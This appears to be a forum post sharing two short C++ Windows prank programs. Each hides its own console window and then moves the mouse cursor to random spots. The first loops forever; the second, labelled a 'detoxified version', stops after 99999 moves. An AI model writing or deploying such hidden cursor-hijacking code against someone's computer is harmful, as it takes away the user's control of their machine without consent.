#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main(){
HWND hwnd;
hwnd=FindWindow("ConsoleWindowClass",NULL);
if(hwnd){
ShowWindow(hwnd,SW_HIDE);
}
int x = GetSystemMetrics(SM_CXSCREEN);
int y = GetSystemMetrics(SM_CXSCREEN);
srand(time(0));
while(1){
SetCursorPos(rand()%x,rand()%y);
}
return 0;
}
2 个赞
去毒版
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main(){
HWND hwnd;
hwnd=FindWindow("ConsoleWindowClass",NULL);
if(hwnd){
ShowWindow(hwnd,SW_HIDE);
}
int x = GetSystemMetrics(SM_CXSCREEN);
int y = GetSystemMetrics(SM_CXSCREEN);
srand(time(0));
int n = 99999;
while(n--){
SetCursorPos(rand()%x,rand()%y);
}
return 0;
}
2 个赞